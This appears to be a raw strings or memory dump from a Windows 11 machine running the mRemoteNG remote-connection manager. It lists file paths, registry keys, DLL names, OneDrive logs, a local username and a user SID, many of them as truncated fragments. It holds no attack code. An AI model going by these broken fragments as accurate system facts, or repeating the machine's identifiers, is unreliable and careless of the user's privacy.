\Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\9cc3554b232e42aa87d1817f20f96874\System.Xml.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\9cc3554b232e42aa87d1817f20f96874\System.Xml.ni.dll System.Management MICROSOFT SANS SERIF Microsoft Sans Serif C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe Themes {B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC} \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.WidgetPicker.AppXme9jsfr3pxs55ey7ednb42gr4y3kyrpr.mca \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290\mscorlib.ni.dll.aux \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.RulesEngine.AppXg6p1s9373bk1gyjynwzsms4dqcb1sqz1.mca hermes.dll update.xml b\AppD oft\OneDrive\Update\update.xml Bundle \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Reporting and NEL-journal ndex~RF1362e.TMP \Device\HarddiskVolume3\Windows\appcompat\pca\PcaAppLaunchDic.txt 1f3a327d[1].xml \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000045 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736\GdiPlus.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat:WofCompressedData xt~RF1367c.TMP 424_6800-3884.loggz \Device\HarddiskVolume3\Windows\System32\dxgiadaptercache.exe CxP.db-wal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index~RF1362e.TMP evtx 338387 4b04ae9766ed.tmp 63}\0000 353698 88000045 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat::$ATTRIBUTE_LIST txt~RF1367c.TMP 280815 310091 88000161 88000163 88000165 ,"RdpTextProtocolVer s\System32\sqmapi.dll VW1VO8WL CxP.db-shm S-1-5-21-3914889805-4071901059-918772286-1001 \Device\HarddiskVolume3\Windows\System32\taskhostw.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy\machine.pckgdep e624ad8adea344b0b19bb87_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index bce9fc62ec398a3dd43_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000161\782a4ab843ce42e3ae55a5799d0f0cc1_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000161\782a4ab843ce42e3ae55a5799d0f0cc1_1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000163\89a5d80ebe624ad8adea344b0b19bb87_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000165\775bd83bf93443bdbdb7251e70d1a8d3_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000165\775bd83bf93443bdbdb7251e70d1a8d3_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000163\89a5d80ebe624ad8adea344b0b19bb87_1 280811 \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\CxP.db CxP.db \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\StandaloneUpdate_2026-02-24_080424_6800-3884.loggz h2txyewy\machine.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy\machine.pckgdep 93443bdbdb7251e70d1a8d3_1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy\machine.pckgdep 93443bdbdb7251e70d1a8d3_1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy 80ebe624ad8adea344b0b19bb87_1 settings.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1 WnsClientConnectionProvider RulesEngine.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy\machine.pckgdep 9-918772286-1001.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep ncobjapi.dll stdprov.dll esscli.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy\machine.pckgdep chine.pckgdep 01.pckgdep S-1-5-18 \Device\HarddiskVolume3\Windows\SysWOW64\wbem\WmiPrvSE.exe RuntimeBroker DNSAPI.dll \REGISTRY\MACHINE\SOFTWA StandaloneUpdate_2026-02-24_080424_2216-3908.log408FE} DNSAPI.dll StandaloneUpdate_2026-02-24_080424_6800-3884.loggza4d} istry\Machine\Software\Micro DNSAPI.dlls NT\CurrentVersion\AppCompatFlags\SdbUpdates DNSAPI.dll \Device\HarddiskVolume3\Windows\System32\LogFiles\CloudFiles\CldFlt3.etl StandaloneUpdate_2026-02-24_080424_2216-3908.loggza4d} istry\Machine\Software\Micro DNSAPI.dlls NT\CurrentVersion\AppCompatFlags\SdbUpdates \Device\HarddiskVolume3\Windows\System32\LogFiles\CloudFiles\CldFlt0.etl DNSAPI.dll DNSAPI.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Winsock\Setup Migration\Providers StandaloneUpdate_2026-02-24_080424_6800-3884.log DNSAPI.dll DNSAPI.dll DNSAPI.dll DNSAPI.dll \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-18 \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesH \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates] \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-18 \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesU tools.conf \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-18 \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-18 \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesr \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesp \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\StateSeparation\RedirectionMap\Keys \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\StateSeparation\RedirectionMap\Keys \REGISTRY\MACHINE\SOFTWA cmd.exe.munLSID\{2593f8b9-4eaf-457c-b68a-50f6b8ea6b54} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\StateSeparation\RedirectionMap\Keys \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesI \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} 2Windows.System.UserProfile.DiagnosticsSettings.dll \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\InterfaceSpecificParameters \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} 4WindowsForms10.tooltips_class32.app.0.129c866_r7_ad1 \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsConnections Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{5E176815-9A63-4A69-810F-62E90D36612A} \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\pnlLayout.xml \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{284CACFE-B6F2-461A-90C3-A7ACC8353816} Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\confCons.xml \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FE67FBE0-B834-4424-880A-52D6F71BA90B} \Device\HarddiskVolume3\Windows\System32\Windows.Shell.ServiceHostBuilder.dll \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FE67FBE0-B834-4424-880A-52D6F71BA90B} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FE67FBE0-B834-4424-880A-52D6F71BA90B} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FE67FBE0-B834-4424-880A-52D6F71BA90B} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FE67FBE0-B834-4424-880A-52D6F71BA90B} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FE67FBE0-B834-4424-880A-52D6F71BA90B} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FE67FBE0-B834-4424-880A-52D6F71BA90B} \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\InterfaceSpecificParameters \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{049D54B5-E524-41B2-BD4D-34F7A0EFC31D} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FE67FBE0-B834-4424-880A-52D6F71BA90B} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsConnections Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} \Device\HarddiskVolume3\Windows\Prefetch\SECURITYHEALTHHOST.EXE-950D595E.pf \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy nlaapi.dll Microsoft-Windows-AppxPackaging%4Operational.evtx \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\TypeLib \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe.config \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFA84069-369A-426A-B8A7-43346676B9A2} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290 \Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b3cf609737eb90073e35cdc30c3a3c75 \Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\9cc3554b232e42aa87d1817f20f96874 \Windows\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5 \Windows\assembly\NativeImages_v4.0.30319_32\System\b6e2a986346601fc8ac3c6853a10e199 \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a 